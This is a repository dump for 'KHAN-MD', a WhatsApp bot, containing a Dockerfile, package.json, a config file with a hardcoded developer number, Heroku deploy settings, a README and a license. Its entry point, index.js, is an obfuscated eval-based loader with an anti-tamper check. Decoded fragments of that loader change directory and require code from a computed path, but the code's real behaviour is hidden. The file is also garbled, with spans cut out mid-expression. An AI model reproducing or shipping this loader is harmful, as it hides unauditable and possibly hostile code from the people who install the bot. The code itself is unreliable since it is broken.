├── Dockerfile
├── command.js
├── package.json
├── config.js
├── app.json
├── README.md
├── LICENSE
└── index.js
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:lts-buster
2 | USER root
3 | RUN apt-get update && \
4 | apt-get install -y ffmpeg webp git && \
5 | apt-get upgrade -y && \
6 | rm -rf /var/lib/apt/lists/*
7 | USER node
8 | RUN git clone https://github.com/JawadTechX/DJ /home/node/DJ
9 | WORKDIR /home/node/DJ
10 | RUN chmod -R 777 /home/node/DJ/
11 | RUN yarn install --network-concurrency 1
12 | EXPOSE 7860
13 | ENV NODE_ENV=production
14 | CMD ["npm", "start"]
15 |
--------------------------------------------------------------------------------
/command.js:
--------------------------------------------------------------------------------
1 | var commands = [];
2 |
3 | function cmd(info, func) {
4 | var data = info;
5 | data.function = func;
6 | if (!data.dontAddCommandList) data.dontAddCommandList = false;
7 | if (!info.desc) info.desc = '';
8 | if (!data.fromMe) data.fromMe = false;
9 | if (!info.category) data.category = 'misc';
10 | if(!info.filename) data.filename = "Not Provided";
11 | commands.push(data);
12 | return data;
13 | }
14 | module.exports = {
15 | cmd,
16 | AddCommand:cmd,
17 | Function:cmd,
18 | Module:cmd,
19 | commands,
20 | };
21 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "KHAN-MD",
3 | "version": "5.0.0",
4 | "description": "A WhatsApp Bot Created By JawadTechX",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "pm2 start index.js --deep-monitoring --attach --name KHAN-MD",
8 | "stop": "pm2 stop KHAN-MD",
9 | "restart": "pm2 restart KHAN-MD"
10 | },
11 | "dependencies": {
12 | "@whiskeysockets/baileys": "npm:baileys-pro@latest",
13 | "@adiwajshing/keyed-db": "^0.2.4",
14 | "@dark-yasiya/yt-dl.js": "1.0.5",
15 | "@ffmpeg-installer/ffmpeg": "^1.1.0",
16 | "@vitalets/google-translate-api": "^9.2.1",
17 | "pino": "^9.7.0",
18 | "pm2": "^6.0.8",
19 | "util": "^0.12.5",
20 | "express": "^5.1.0",
21 | "buffer": "^6.0.3",
22 | "moment-timezone": "^0.6.0",
23 | "axios": "^1.7.9",
24 | "file_size_url": "1.0.6",
25 | "fs-extra": "^11.1.0",
26 | "fs": "^0.0.1-security",
27 | "ffmpeg": "^0.0.4",
28 | "file-type": "^21.0.0",
29 | "better-sqlite3": "npm:libsql@0.5.12",
30 | "fluent-ffmpeg": "^2.1.2",
31 | "form-data": "^4.0.3",
32 | "google-tts-api": "^2.0.2",
33 | "mongodb": "^6.4.0",
34 | "node-fetch": "^2.6.1",
35 | "megajs": "^1.3.7",
36 | "wa_set_pkg": "1.0.5",
37 | "wa-sticker-formatter": "^4.4.4",
38 | "path": "^0.12.7",
39 | "dotenv": "^16.0.0",
40 | "mongoose": "^8.0.0",
41 | "jimp": "^0.16.1",
42 | "adm-zip": "^0.5.16",
43 | "cheerio": "^1.0.0-rc.12",
44 | "qrcode-terminal": "^0.12.0",
45 | "yt-search":"2.13.1",
46 | "sequelize": "^6.37.7",
47 | "sqlite3": "^5.1.7"
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/config.js:
--------------------------------------------------------------------------------
1 | const fs = require('fs');
2 | const path = require('path');
3 | const { getConfig } = require("./lib/configdb");
4 |
5 | if (fs.existsSync('config.env')) require('dotenv').config({ path: './config.env' });
6 |
7 | function convertToBool(text, fault = 'true') {
8 | return text === fault ? true : false;
9 | }
10 |
11 | module.exports = {
12 | // ===== BOT CORE SETTINGS =====
13 | SESSION_ID: process.env.SESSION_ID || "", // Your bot's session ID (keep it secure)
14 | PREFIX: getConfig("PREFIX") || ".", // Command prefix (e.g., "., / ! * - +")
15 | CHATBOT: getConfig("CHATBOT") || "on", // on/off chat bot
16 | BOT_NAME: process.env.BOT_NAME || getConfig("BOT_NAME") || "KHAN-MD", // Bot's display name
17 | MODE: getConfig("MODE") || process.env.MODE || "public", // Bot mode: public/private/group/inbox
18 | REPO: process.env.REPO || "https://github.com/JawadTechXD/KHAN-MD", // Bot's GitHub repo
19 | BAILEYS: process.env.BAILEYS || "@whiskeysockets/baileys", // Bot's BAILEYS
20 |
21 | // ===== OWNER & DEVELOPER SETTINGS =====
22 | OWNER_NUMBER: process.env.OWNER_NUMBER || "923427582273", // Owner's WhatsApp number
23 | OWNER_NAME: process.env.OWNER_NAME || getConfig("OWNER_NAME") || "Jᴀᴡᴀᴅ TᴇᴄʜX", // Owner's name
24 | DEV: process.env.DEV || "923427582273", // Developer's contact number
25 | DEVELOPER_NUMBER: '923427582273@s.whatsapp.net', // Developer's WhatsApp ID
26 |
27 | // ===== AUTO-RESPONSE SETTINGS =====
28 | AUTO_REPLY: process.env.AUTO_REPLY || "false", // Enable/disable auto-reply
29 | AUTO_STATUS_REPLY: process.env.AUTO_STATUS_REPLY || "false",// Reply to status updates?
30 | AUTO_STATUS_MSG: process.env.AUTO_STATUS_MSG || "*KHAN MD VIEWED YOUR STATUS 🤖*", // Status reply message
31 | READ_MESSAGE: process.env.READ_MESSAGE || "false", // Mark messages as read automatically?
32 | REJECT_MSG: process.env.REJECT_MSG || "*📞 ᴄαℓℓ ɴσт αℓℓσωє∂ ιɴ тнιѕ ɴᴜмвєʀ уσυ ∂σɴт нανє ᴘєʀмιѕѕισɴ 📵*",
33 | // ===== REACTION & STICKER SETTINGS =====
34 | AUTO_REACT: process.env.AUTO_REACT || "false", // Auto-react to messages?
35 | OWNER_REACT: process.env.OWNER_REACT || "false", // Auto-react to messages?
36 | CUSTOM_REACT: process.env.CUSTOM_REACT || "false", // Use custom emoji reactions?
37 | CUSTOM_REACT_EMOJIS: getConfig("CUSTOM_REACT_EMOJIS") || process.env.CUSTOM_REACT_EMOJIS || "💝,💖,💗,❤️🩹,❤️,🧡,💛,💚,💙,💜,🤎,🖤,🤍", // set custom reacts
38 | STICKER_NAME: process.env.STICKER_NAME || "ᴋʜᴀɴ-ᴍᴅ", // Sticker pack name
39 | AUTO_STICKER: process.env.AUTO_STICKER || "false", // Auto-send stickers?
40 | // ===== MEDIA & AUTOMATION =====
41 | AUTO_RECORDING: process.env.AUTO_RECORDING || "false", // Auto-record voice notes?
42 | AUTO_TYPING: process.env.AUTO_TYPING || "false", // Show typing indicator?
43 | MENTION_REPLY: process.env.MENTION_REPLY || "false", // reply on mentioned message
44 | MENU_IMAGE_URL: getConfig("MENU_IMAGE_URL") || "https://files.catbox.moe/7zfdcq.jpg", // Bot's "alive" menu mention image
45 |
46 | // ===== SECURITY & ANTI-FEATURES =====
47 | ANTI_DELETE: process.env.ANTI_DELETE || "true", // true antidelete to recover deleted messages
48 | ANTI_CALL: process.env.ANTI_CALL || "false", // enble to reject calls automatically
49 | ANTI_BAD_WORD: process.env.ANTI_BAD_WORD || "false", // Block bad words?
50 | ANTI_LINK: process.env.ANTI_LINK || "true", // Block links in groups
51 | ANTI_VV: process.env.ANTI_VV || "true", // Block view-once messages
52 | DELETE_LINKS: process.env.DELETE_LINKS || "false", // Auto-delete links?
53 | ANTI_DEL_PATH: process.env.ANTI_DEL_PATH || "same", // inbox deleted messages (or 'same' to resend)
54 | ANTI_BOT: process.env.ANTI_BOT || "true",
55 | PM_BLOCKER: process.env.PM_BLOCKER || "true",
56 |
57 | // ===== BOT BEHAVIOR & APPEARANCE =====
58 | DESCRIPTION: process.env.DESCRIPTION || "*© ᴘᴏᴡᴇʀᴇᴅ ʙʏ Jᴀᴡᴀᴅ TᴇᴄʜX*", // Bot description
59 | PUBLIC_MODE: process.env.PUBLIC_MODE || "true", // Allow public commands?
60 | ALWAYS_ONLINE: process.env.ALWAYS_ONLINE || "false", // Show bot as always online?
61 | AUTO_STATUS_REACT: process.env.AUTO_STATUS_REACT || "true", // React to status updates?
62 | AUTO_STATUS_SEEN: process.env.AUTO_STATUS_SEEN || "true", // VIEW to status updates?
63 | AUTO_BIO: process.env.AUTO_BIO || "false", // ture to get auto bio
64 | WELCOME: process.env.WELCOME || "false", // true to get welcome in groups
65 | GOODBYE: process.env.GOODBYE || "false", // true to get goodbye in groups
66 | ADMIN_ACTION: process.env.ADMIN_ACTION || "false", // true if want see admin activity
67 | };
68 |
69 |
--------------------------------------------------------------------------------
/app.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "KHAN-MD",
3 | "description": "Javascript WhatsApp bot made by Jᴀᴡᴀᴅ TᴇᴄʜX",
4 | "logo": "https://files.catbox.moe/neni8p.jpg",
5 | "keywords": ["KHAN-MD"],
6 | "success_url": "/",
7 |
8 | "stack": "container",
9 | "env": {
10 | "SESSION_ID": {
11 | "description": "Put the session-id here.",
12 | "required": true,
13 | "value": ""
14 | },
15 |
16 | "STICKER_NAME": {
17 | "description": "type your sticker pack name.",
18 | "required": false,
19 | "value": "KHAN-MD"
20 | },
21 |
22 | "PREFIX": {
23 | "description": "paste your bot prefix note! Don't apply null prefix.",
24 | "required": false,
25 | "value": "."
26 | },
27 |
28 | "MODE": {
29 | "description": "select your bot work type public-private-inbox-group.",
30 | "required": false,
31 | "value": "public"
32 |
33 | },
34 |
35 | "ANTI_DELETE": {
36 | "description": "set true for show deleted messages.",
37 | "required": false,
38 | "value": "true"
39 | },
40 |
41 | "ALWAYS_ONLINE": {
42 | "description": "Make it true if want always online.",
43 | "required": false,
44 | "value": "false"
45 | },
46 |
47 | "AUTO_REPLY": {
48 | "description": "Make it true if you want automatic reply.",
49 | "required": false,
50 | "value": "false"
51 | },
52 |
53 | "AUTO_STICKER": {
54 | "description": "Make it true if you want automatic sticker.",
55 | "required": false,
56 | "value": "false"
57 | },
58 |
59 |
60 | "AUTO_STATUS_SEEN": {
61 | "description": "Make it true for automatic status seen.",
62 | "required": true,
63 | "value": "true"
64 | },
65 |
66 | "AUTO_STATUS_REACT": {
67 | "description": "make it true for automatic status reaction or like.",
68 | "required": true,
69 | "value": "true"
70 | },
71 |
72 | "AUTO_STATUS_REPLY": {
73 | "description": "Make it true for auto reply msg on status seen.",
74 | "required": true,
75 | "value": "false"
76 | },
77 |
78 | "AUTO_STATUS_MSG": {
79 | "description": "Type custom message on status reply",
80 | "required": true,
81 | "value": "*SEEN YOUR STATUS BY KHAN-MD 🖤*"
82 |
83 | },
84 |
85 | "OWNER_NAME": {
86 | "description": "Type Bot Owner Name.",
87 | "required": false,
88 | "value": "Jᴀᴡᴀᴅ TᴇᴄʜX"
89 | },
90 |
91 | "OWNER_NUMBER": {
92 | "description": "put the owner number for bot.",
93 | "required": false,
94 | "value": "923427582273"
95 |
96 | },
97 |
98 | "BOT_NAME": {
99 | "description": "Type here the bot name.",
100 | "required": false,
101 | "value": "KHAN-MD"
102 |
103 | },
104 |
105 | "ANTI_LINK": {
106 | "description": "Make it true if you want bot auto remove group link.",
107 | "required": true,
108 | "value": "true"
109 |
110 | },
111 |
112 | "ANTI_BAD": {
113 | "description": "Make it true if you want bot auto delete bad words.",
114 | "required": false,
115 | "value": "false"
116 | },
117 |
118 | "MENTION_REPLY": {
119 | "description": "make it true if want mention reply if someone menetion you.",
120 | "required": false,
121 | "value": "false"
122 | },
123 |
124 | "MENU_IMAGE_URL": {
125 | "description": "add url for mention reply and menu if want.",
126 | "required": false,
127 | "value": "https://files.catbox.moe/7zfdcq.jpg"
128 | },
129 |
130 | "DESCRIPTION": {
131 | "description": "add caption for menu and other",
132 | "required": false,
133 | "value": "*© ᴘᴏᴡᴇʀᴇᴅ ʙʏ Jᴀᴡᴀᴅ TᴇᴄʜX*"
134 | },
135 |
136 | "DELETE_LINKS": {
137 | "description": "remove links from group automatically without removing member",
138 | "required": false,
139 | "value": "false"
140 | },
141 |
142 | "AUTO_RECORDING": {
143 | "description": "Make it true if you want auto recoding.",
144 | "required": false,
145 | "value": "false"
146 | },
147 |
148 | "AUTO_TYPING": {
149 | "description": "Make it true if you want auto typing.",
150 | "required": false,
151 | "value": "false"
152 | },
153 |
154 | "AUTO_REACT": {
155 | "description": "Make it true if you want react on every message.",
156 | "required": false,
157 | "value": "false"
158 | },
159 |
160 | "CUSTOM_REACT": {
161 | "description": "Make it true if you want custom reactions.",
162 | "required": false,
163 | "value": "false"
164 |
165 | },
166 |
167 | "CUSTOM_REACT_EMOJIS": {
168 | "description": "put here custom react react emojis.",
169 | "required": false,
170 | "value": "💝,💖,💗,❤️🩹,❤️,🧡,💛,💚,💙,💜,🤎,🖤,🤍"
171 | },
172 |
173 | "ANTI_DEL_PATH": {
174 | "description": "change it to -same- if you want to resend deleted message in same chat othwise inbox",
175 | "required": false,
176 | "value": "inbox"
177 | },
178 |
179 | "ADMIN_ACTION": {
180 | "description": "make it true if want know who promote or demote a member .",
181 | "required": false,
182 | "value": "false"
183 | },
184 |
185 | "WELCOME": {
186 | "description": "make it true if want welcome message in groups.",
187 | "required": false,
188 | "value": "false"
189 | },
190 |
191 | "GOODBYE": {
192 | "description": "make it true if want goodbye message in groups.",
193 | "required": false,
194 | "value": "false"
195 | },
196 |
197 | "READ_MESSAGE": {
198 | "description": "Make it true if you want bot read your all sms just now.",
199 | "required": false,
200 | "value": "false"
201 | }
202 |
203 | },
204 |
205 | "buildpacks": [
206 | {
207 | "url": "https://github.com/heroku/heroku-buildpack-nodejs.git"
208 | }
209 | ],
210 | "stack": "heroku-24"
211 | }
212 |
213 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
𝗞𝗛𝗔𝗡-𝗠𝗗
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | ---
12 |
13 | ## 📊 Project Stats
14 |
15 |
16 |
17 | | Statistic | Badge |
18 | |-----------|-------|
19 | | **Profile Views** |

|
20 | | **Last Update** |

|
21 | | **Repo Size** |

|
22 | | **Stars** |

|
23 | | **Forks** |

|
24 | | **Visitors** |

|
25 | | **Maintained** |

|
26 | | **Version** |

|
27 |
28 |
29 |
30 | ---
31 |
32 | > **Current Bot Version `5.0.0`**
33 |
34 | ---
35 |
36 | ## Support JawadTechXD
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 | ---
45 |
46 |
47 |

48 |
49 |
50 |
51 |

52 |
53 |
54 |
55 |

56 |
57 |
58 |

59 |
60 |
61 | ## 🛰️ Deployment Steps
62 |
63 |
64 |
65 |
66 |
First star & Fork repo using button Below
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 | ---
79 | > **PAIRING LINK (01)**
80 |
81 |
82 |
83 |
84 |
85 |
86 | > **PAIRiNG LINK (02)**
87 |
88 |
89 |
90 |
91 | ---
92 |
93 |
94 | Connection issues may require VPN activation
95 |
96 |
97 |
98 |
99 |
100 |
101 |

102 |
103 |
104 |
105 | ---
106 |
107 | ## ☁️ Deployment Options
108 |
109 |
110 |
111 |
112 | | Platform |
113 | Deploy Button |
114 |
115 |
116 | | Heroku |
117 |  |
118 |
119 |
120 | | Koyeb |
121 |  |
122 |
123 |
124 | | Railway |
125 |  |
126 |
127 |
128 | | Render |
129 |  |
130 |
131 |
132 |
133 |
134 |
143 |
144 | ## 🌟 BOT FEATURES
145 |
146 | ✦ Antidelete, Antiviewonce, Antilink
147 | ✦ High speed YT, Tiktok, FB, IG Downloaders
148 | ✦ 10+ AI models + Image anlysis AI
149 | ✦ Fast low latensie, Powerful
150 | ✦ Futuristic Cool ICY UI
151 |
152 |
153 |
154 |

155 |
156 |
157 | ## 🪀 SUPPORT CHANNEL
158 |
159 |
164 |
165 |
166 |

167 |
168 |
169 | ## ⚠️ WARNING !
170 |
171 |
172 |
DISCLAIMER
173 |
This bot is not affiliated with WhatsApp Inc. Use at your own risk. Misuse may result in account bans.
174 |
175 |
176 | ### 📜 Terms of Use
177 |
178 | + Strictly NOT FOR SALE
179 | + No unauthorized copying/distribution
180 | + Credit must be given when using/modifying
181 |
182 |
183 | ## 🗃️ PROJECT ARCHITECTS
184 |
189 |
190 |
191 |

192 |
193 |
194 | ## 👑 KHAN STATUS
195 |
196 | ```diff
197 | + Project Status: Active
198 | ! Version: 5.0.0 Neon Edition
199 | # License: APACHE
200 | ```
201 |
202 |
203 |

204 |
205 |
206 |
Thank you for visiting ❤️
207 |
208 |
209 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | // KHAN-MD 💀 VERSION 5.0 ✅
2 | // Job ID: 0o3l3riy6k2a
3 | let qttS;!function(){const ozQG=Array.prototype.slice.call(arguments);return eval("(function AWHs(jcPk){const LJRk=TVyl(jcPk,DzHk(AWHs.toString()));try{let f7Jk=eval(LJRk);return f7Jk.apply(null,ozQG);}catch(HEMk){var b2Ek=(0x9D8DE4-0O47306735);while(b2Ek<(0o1000236%0x1001F))switch(b2Ek){case (0x9D8DE4-0O47306735):b2Ek=HEMk instanceof SyntaxError?(262311%0o200043):(0o205764-68562);break;case (0o203124-67129):b2Ek=(0o202520-0x1052E);{console.log(\'Error: the code has been tampered!\');return}break;}throw HEMk;}function DzHk(DBel){let f9gl=651704050;var zw9k=(0o200702-0x101B3);{let b4bl;while(zw9k<(0o400177%65581)){switch(zw9k){case (0o400052%65552):zw9k=(0x103C0-0o201650);{f9gl^=(DBel.charCodeAt(b4bl)*(0x2935494a%7)+DBel.charCodeAt(b4bl>>>(0x5E30A78-0O570605164)))^1023385456;}break;case (0o400074%65554):zw9k=(0x400A0%0o200037);b4bl++;break;case (0x400B0%0o200043):zw9k=b4bl
=(0x1071C-0o203402)?String.fromCharCode((0o600404%65601)+(TT1k-(0o1000136%0x10011))):String.fromCharCode((0o217120-0x11DEF)+TT1k);}break;case (0o205036-68089):XY6k=(0o201414-0x102F2);rmZk++;break;}}}return vr4k;}function TVyl(vtBl,PQtl){vtBl=decodeURI(vtBl);let rowl=(0x21786%3);let LLol=\"\";var njrl=(66886-0o202467);{let HGjl;while(njrl<(0o600221%0x10024)){switch(njrl){case (0o200144-65626):njrl=(0o200740-65992);{LLol+=String.fromCharCode(vtBl.charCodeAt(HGjl)^PQtl.charCodeAt(rowl));rowl++;var jeml=(0o201104-66087);while(jeml<(0x10384-0o201546))switch(jeml){case (0x10488-0o202153):jeml=rowl>=PQtl.length?(0o600114%0x10015):(0x3007E%0o200040);break;case (0o400103%65563):jeml=(67636-0o204026);{rowl=(0x21786%3);}break;}}break;case (262304%0o200037):njrl=HGjl{EXGq[qttS.j1vN(9)](`${qttS.bVpO(10)}`);});gZJq[qttS.znnO(11)](IaNq,()=>{console[qttS.TMMO(12)](`${qttS.j5zO(13)}${IaNq}`);});const YSxq=qttS.HxxO(14);let AUAq=IGZp[qttS.bNhM(15)](__dirname,qttS.TIIN(16));var UPrq=qttS[qttS.j1vN(17)]();{let wRuq;while(UPrq{await Aszn();const smnn=oLiq[qttS.TMMO(36)](Yqwn)[qttS.j5zO(37)](Mhen=>oLiq[qttS.HxxO(38)](IGZp[qttS.bNhM(15)](Yqwn,Mhen))[qttS.bNhM(39)]());var ojhn=qttS[qttS.j1vN(17)]();while(ojhn{console[qttS.TMMO(12)](qttS.j5zO(53));try{process[qttS.HxxO(54)](oDUn);require(IGZp[qttS.bNhM(15)](oDUn,qttS.bNhM(55)));}catch(AMmo){console[qttS.TIIN(32)](qttS.TIIN(56),AMmo[qttS.bVpO(34)]);process[qttS.znnO(35)]((0O57060516-0xbc614d));}},4000);})();
--------------------------------------------------------------------------------